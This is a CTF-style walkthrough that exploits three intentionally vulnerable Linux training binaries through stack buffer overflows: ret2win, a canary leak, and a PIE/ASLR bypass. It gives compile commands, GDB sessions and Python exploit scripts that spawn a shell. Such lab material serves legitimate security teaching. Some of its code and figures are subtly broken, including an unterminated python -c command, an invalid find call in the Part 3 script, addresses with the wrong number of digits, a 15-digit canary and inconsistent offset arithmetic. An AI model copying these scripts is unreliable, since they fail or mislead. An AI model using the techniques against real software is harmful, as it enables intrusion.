

0x8A7

BAT • CRACKME SERIES

A Three-Part Linux Stack Buffer Overflow Series

Part 1: Gate — ret2win, no protections
Part 2: Vault — stack canary leak & bypass
Part 3: Maze — canary + PIE/ASLR + NX bypass

Compiled & solved on: Ubuntu 24.04, x86-64, gcc 13.3.0, GDB 15.1

All three binaries were built and exploited end-to-end during the writing of this document. Addresses shown for Parts 1 & 2 are deterministic on a matching toolchain; ASLR addresses in Part 3 will differ every run by design — that's the point.

How This Series Works

All three challenges share the exact same root bug: a stack buffer that is filled from attacker-controlled input with no bounds checking (an oversized `read()` into a fixed-size `char buffer[64]`). What changes between parts is which compiler-level defenses are turned on, which forces a different bypass technique each time:

Part	Binary	Canary	PIE / ASLR	NX Stack	Technique
1	batcave_gate	off	off	off (execstack)	Direct ret2win
2	joker_vault	ON	off	on	Leak canary, then ret2win
3	riddler_maze	ON	ON	on	Leak canary + PIE base, then ret2win

Every binary has a hidden function, `open_batcave()`, that is never called anywhere in the program's normal control flow. It prints a flag and spawns a shell. It only exists to be jumped to. Your job in every part is to redirect execution into it by overwriting the saved return address on the stack.

Setup

You'll need: `gcc`, `gdb`, and `python3` on a 64-bit Linux box. Install `gdb` if needed:

```
sudo apt update && sudo apt install -y gdb
```

A note on ASLR: for Parts 1 and 2 it doesn't matter (no code/stack addresses leak into your payload). For Part 3, ASLR is the whole point of the exercise — leave it ON and your exploit script re-computes the address fresh every single run. If you ever want a deterministic debugging session while learning, you can temporarily disable it system-wide:

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# ...experiment...
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space # restore
```

GDB disables ASLR for the process it launches by default (unless you run `set disable-randomization off`), which is why the offsets you find inside GDB are safe to reuse — only the base address shifts at real runtime, not the relative layout.

PART 1 — BATCAVE GATE

File: `batcave_gate.c` — **Protections:** none (no canary, no PIE, executable stack)

The Bug

`check_password()` declares `char buffer[64]` and then does:

```
ssize_t n = read(0, buffer, 512); /* reads up to 512 bytes into a 64-byte buffer */
```

Nothing stops the caller from sending more than 64 bytes. Whatever comes after `buffer` on the stack — saved RBP, then the saved return address — gets overwritten by however much we send. If we control the return address, we control where the function returns to when it hits `ret`.

Step 1 — Compile it

```
gcc -g -O0 -fno-stack-protector -no-pie -z execstack \  
-o batcave_gate batcave_gate.c
```

`-fno-stack-protector` and `-no-pie` are what make this the "easy mode" binary. Verify with:

```
$ file batcave_gate  
batcave_gate: ELF 64-bit LSB executable ... (not "pie executable")
```

Step 2 — Find the target address in GDB

We need the runtime address of `open_batcave()`. Since this binary is not PIE, this address never changes between runs — you can even get it with `objdump -t` without GDB. But let's do it the GDB way:

```
$ gdb ./batcave_gate  
(gdb) print open_batcave  
$1 = {void (void)} 0x4011f6 <open_batcave>
```

Write that address down. (Your exact number may differ by a few bytes depending on your gcc version — always re-check it on your own build rather than trusting a number from this PDF.)

Step 3 — Find the offset to the return address

Set a breakpoint right after the vulnerable `read()` call, run it, then ask GDB directly where `buffer` lives and where the saved return address lives — `info frame` gives you both in one shot:

```
(gdb) break check_password  
(gdb) run  
Enter the Batcave access code: AAAA  
(gdb) next  
(gdb) print &buffer  
$1 = (char (*)[64]) 0x7fffffff900  
(gdb) info frame  
Stack level 0, frame at 0x7fffffff900:  
rip = 0x40126c in check_password ...; saved rip = 0x40135c  
Saved registers:  
rbp at 0x7fffffff950, rip at 0x7fffffff958
```

"rip at 0x7fffffff958" is the address of the saved return address slot. Subtract the buffer's address from it:

```
0x7fffffff958 - 0x7fffffff900 = 0x58 = 88 bytes
```

So: 88 bytes of junk padding fill the buffer and everything up to (but not including) the return address slot. Byte 89 onward is the return address itself (8 bytes, little-endian).

Step 4 — Build and fire the payload

```
python3 -c "  
import struct, sys  
payload = b'A' * 88 + struct.pack('<Q', 0x4011f6)  
sys.stdout.buffer.write(payload)  
> payload1.bin  
  
(cat payload1.bin; cat) | ./batcave_gate
```

The trailing cat keeps stdin open after the payload so the shell spawned by open_batcave() stays interactive — try typing id or whoami once you're in.

Result

```
Enter the Batcave access code: Access Denied. The Batcave remains sealed.  
  
[BATCOMPUTER]: Access Granted. The Batcave doors slide open...  
You find the Dark Knight's terminal waiting for you.
```

FLAG{0x8A7_R3T2W1N_N0_PROT3CT10N5}

Notice the "Access Denied" line still prints — the string comparison genuinely failed. We never beat the password check; we skipped it entirely by hijacking control flow the moment check_password() returned.

PART 2 — JOKER'S VAULT

File: `joker_vault.c` — **Protections:** stack canary ON, PIE off, NX stack on

What Changed

Compiled with `-fstack-protector-all`, every function that has a stack buffer now writes a random 8-byte "canary" value between its local variables and its saved RBP/return address on entry, and checks it's still intact right before returning. If Part 1's exact same payload is sent here, the canary gets clobbered along the way to the return address, and glibc aborts the process instead of returning:

```
*** stack smashing detected ***: terminated
Aborted (core dumped)
```

You never even reach your fake return address — the program dies first. The overwrite technique from Part 1 is now useless on its own.

The New Bug: a Raw-Byte Leak

A second function, `riddle_leak()`, reads a "name" into a 32-byte stack buffer, then echoes bytes back with:

```
write(1, name, 56); /* raw bytes -- NOT printf("%s", ...) */
```

This is the key difference from a normal `printf("%s")` echo: `write()` sends exactly the byte count you give it, straight from memory, completely ignoring NUL bytes. Ask it for more bytes than the buffer actually holds, and it happily hands you whatever else is sitting on the stack right after it — including the canary.

Crucially: the canary is generated **once per process** at startup (from `fs:0x28`, backed by a value glibc pulls from the kernel at exec time) and then copied into every function's frame. Leak it anywhere, and it's valid everywhere in that same run.

Step 1 — Compile it

```
gcc -g -O0 -fstack-protector-all -no-pie -z noexecstack \
-o joker_vault joker_vault.c
```

Step 2 — Confirm the canary offset in GDB

```
(gdb) break riddle_leak
(gdb) run
...AAAA<enter>
(gdb) next
(gdb) print &name
$1 = (char (*)[32]) 0x7fffffff910
(gdb) info frame
Saved registers:
  rbp at 0x7fffffff940, rip at 0x7fffffff948
(gdb) x/1gx $rbp-8
0x7fffffff938: 0x9a748aded694d300
```

The canary always lives at `rbp-8`. $0x7fffffff938 - 0x7fffffff910 = 0x28 = 40$. So inside the 56 bytes `riddle_leak()` writes back to us, bytes at offset 40–47 are the live canary. (Sanity check: canaries always end in a null byte at the lowest address — that's why the leaked qword above ends in `...d300`, i.e. byte 0 = `0x00` — it stops naive `%s`-style leaks, but not a raw `write()` like this one.)

Step 3 — Confirm the overflow offset in `check_password`

```
(gdb) break check_password
(gdb) continue
(gdb) next
(gdb) print &buffer
$1 = (char (*)[64]) 0x7fffffff8f0
(gdb) info frame
Saved registers:
  rbp at 0x7fffffff940, rip at 0x7fffffff948

canary slot: 0x7fffffff938 - 0x7fffffff8f0 = 0x48 = 72
ret addr:    0x7fffffff948 - 0x7fffffff8f0 = 0x58 = 88
```

Layout of the payload for `check_password()`: 72 bytes filler → 8-byte real canary → 8 bytes filler (saved RBP, value doesn't matter) → 8-byte return address (`open_batcave`).

```
(gdb) print open_batcave
$1 = {void (void)} 0x401236 <open_batcave>
```

Step 4 — Leak, then exploit, in one session

This has to be scripted because the leaked canary is different every run — you read it, then immediately build your overflow payload around it:

```
python3 - << 'EOF'
import subprocess, struct, os, time

p = subprocess.Popen(['./joker_vault'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)

# --- leak stage: fill name[32] exactly, then read the raw echo ---
p.stdin.write(b'A' * 32); p.stdin.flush()
time.sleep(0.2)
out = os.read(p.stdout.fileno(), 4096)
start = out.find(b"Oh, ") + 5
leak = out[start:start + 56]
canary = leak[40:48]
print('leaked canary:', canary.hex())

# --- exploit stage: reuse the leaked canary in the overflow ---
win = struct.pack('<Q', 0x401236)
payload = b'B' * 72 + canary + b'C' * 8 + win
p.stdin.write(payload + b'\n'); p.stdin.flush()
time.sleep(0.2)
print(os.read(p.stdout.fileno(), 4096).decode(errors='replace'))
EOF
```

Result

```
leaked canary: 002bbdb9c32cb4f  
Access Denied. Try again, Bat-Brain.
```

```
[BATCOMPUTER]: Access Granted. The Batcave doors slide open...  
The Joker never saw this coming.
```

FLAG{0x8A7_C4N4RY_L34K_4ND_R3US3}

If you swap the leaked canary bytes for garbage, you'll get `*** stack smashing detected ***` again instead — that's the before/after that proves the canary is genuinely what was blocking you.

PART 3 — RIDDLER'S MAZE

File: `riddler_maze.c` — **Protections:** stack canary ON, PIE/ASLR ON, NX stack ON

What Changed

Same overflow, same canary defense as Part 2, plus two more:

- **NX (No-eXecute) stack:** even if you smuggle raw x86 shellcode onto the stack in your payload, the CPU will refuse to execute it — the stack page is marked non-executable. This challenge never even tries to run stack shellcode; it doesn't need to.
- **PIE + ASLR:** the binary is compiled as a Position-Independent Executable, and the kernel loads it (and its stack) at a randomized base address every single run. `open_batcave()`'s address is different every time — you cannot hardcode it like Parts 1 & 2.

The fix for PIE is simpler than it sounds: PIE only randomizes the *base load address*. Every function's *offset from that base* is fixed at compile time and never changes. So if you can leak the runtime address of anything inside the binary, you can recover the base, and from the base compute the address of anything else — including `open_batcave()` — entirely at runtime, no hardcoding required.

Step 1 — Compile it

```
gcc -g -O0 -fstack-protector-all -pie -fPIE -z noexecstack \  
-o riddler_maze riddler_maze.c
```

```
$ file riddler_maze  
riddler_maze: ELF 64-bit LSB pie executable, ...
```

Step 2 — Find the static offsets (these never change, ASLR or not)

Use `objdump` to get the file-relative (static) addresses of `open_batcave` and of the instruction `main()` returns to right after calling `riddle_leak()` — that return address is what we're going to leak later:

```
$ objdump -t riddler_maze | grep open_batcave  
00000000000001249 g F .text ... open_batcave  
  
$ objdump -d riddler_maze -M intel --disassemble=main | grep -A1 'call.*riddle_leak'  
14b8: e8 09 fe ff ff call 12c6 <riddle_leak>  
14bd: e8 b5 fe ff ff call 1377 <check_password> # <- return lands HERE: 0x14bd
```

The constant offset between the two, which holds true at runtime no matter where the binary gets loaded:

```
0x14bd - 0x1249 = 0x274  
  
=> open_batcave_runtime = leaked_return_address - 0x274
```

Step 3 — Confirm stack offsets in GDB

GDB disables ASLR for the process by default, so these relative offsets are stable and safe to hardcode — only the base address itself moves outside of GDB.


```
(gdb) break riddle_leak
(gdb) run
...AAAA<enter>
(gdb) next
(gdb) print &name
$1 = (char (*)[32]) 0x7fffffff910
(gdb) info frame
  rip = 0x555555552e1 ...; saved rip = 0x555555554bd
  Saved registers:
    rbp at 0x7fffffff940, rip at 0x7fffffff948
```

```
canary offset: 0x7fffffff938 (rbp-8) - 0x7fffffff910 = 0x28 = 40
retaddr offset: 0x7fffffff948          - 0x7fffffff910 = 0x38 = 56
```

So a 64-byte raw echo from `name[32]` gives us canary at bytes 40–47 and the leaked return-into-main address at bytes 56–63 — both in a single leak call. Confirm the return-address value matches the static-offset math (. . . 54bd here, base 0x555555554000, static offset 0x4bd):

```
0x555555554000 + 0x4bd = 0x555555554bd -- matches saved rip above
```

`check_password()`'s own layout is identical to Part 2's — canary at offset 72, return address at offset 88 from buffer — because it's the exact same local variables. Confirm it yourself with the same `info frame` steps from Part 2 if you want to be sure.

Step 4 — Leak, compute, exploit

```
python3 - << 'EOF'
import subprocess, struct, os, time

p = subprocess.Popen(['./riddler_maze'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)

# --- leak stage ---
p.stdin.write(b'A' * 32); p.stdin.flush()
time.sleep(0.2)
out = os.read(p.stdout.fileno(), 4096)
start = out.find(b'',"", out.find(b'pleasure')) + 1
leak = out[start:start + 64]
canary = leak[40:48]
ret_leak = leak[56:64]
ret_val = struct.unpack('<Q', ret_leak)[0]

# --- compute stage: PIE base is implicit, we only need the offset ---
open_batcave = ret_val - 0x274
print('leaked return addr:', hex(ret_val))
print('computed open_batcave:', hex(open_batcave))

# --- exploit stage ---
payload = b'B' * 72 + canary + b'C' * 8 + struct.pack('<Q', open_batcave)
p.stdin.write(payload + b'\n'); p.stdin.flush()
time.sleep(0.2)
print(os.read(p.stdout.fileno(), 4096).decode(errors='replace'))
EOF
```

Result (run three times — note the address is different every time, and it still works)

leaked return addr: 0x55b66f2224bd	computed open_batcave: 0x55b66f222249	-> SUCCESS
leaked return addr: 0x560f37fad4bd	computed open_batcave: 0x560f37fad249	-> SUCCESS
leaked return addr: 0x55e37f9bb4bd	computed open_batcave: 0x55e37f9bb249	-> SUCCESS

FLAG{0x8A7_P1E_L34K_4SLR_BY4SS}

Why This Still Counts as "NX-Safe"

At no point does this exploit place executable code on the stack. It only ever redirects execution to code that was already part of the compiled binary (`open_batcave()`) — the same principle behind full return-oriented programming (ROP), just with one "gadget" that happens to be an entire function instead of a hand-picked instruction snippet. If you want to go further: try locating a `pop rdi; ret` gadget with `ROPgadget` --binary riddler_maze, leak a libc address the same way, and chain `system("/bin/sh")` from libc instead of jumping to a conveniently-provided win function — that's the natural next step once this one clicks.

End of walkthrough. All three flags, all three techniques: ret2win, canary leak+bypass, PIE/ASLR leak+bypass. Same root bug the whole way through — only the defenses changed.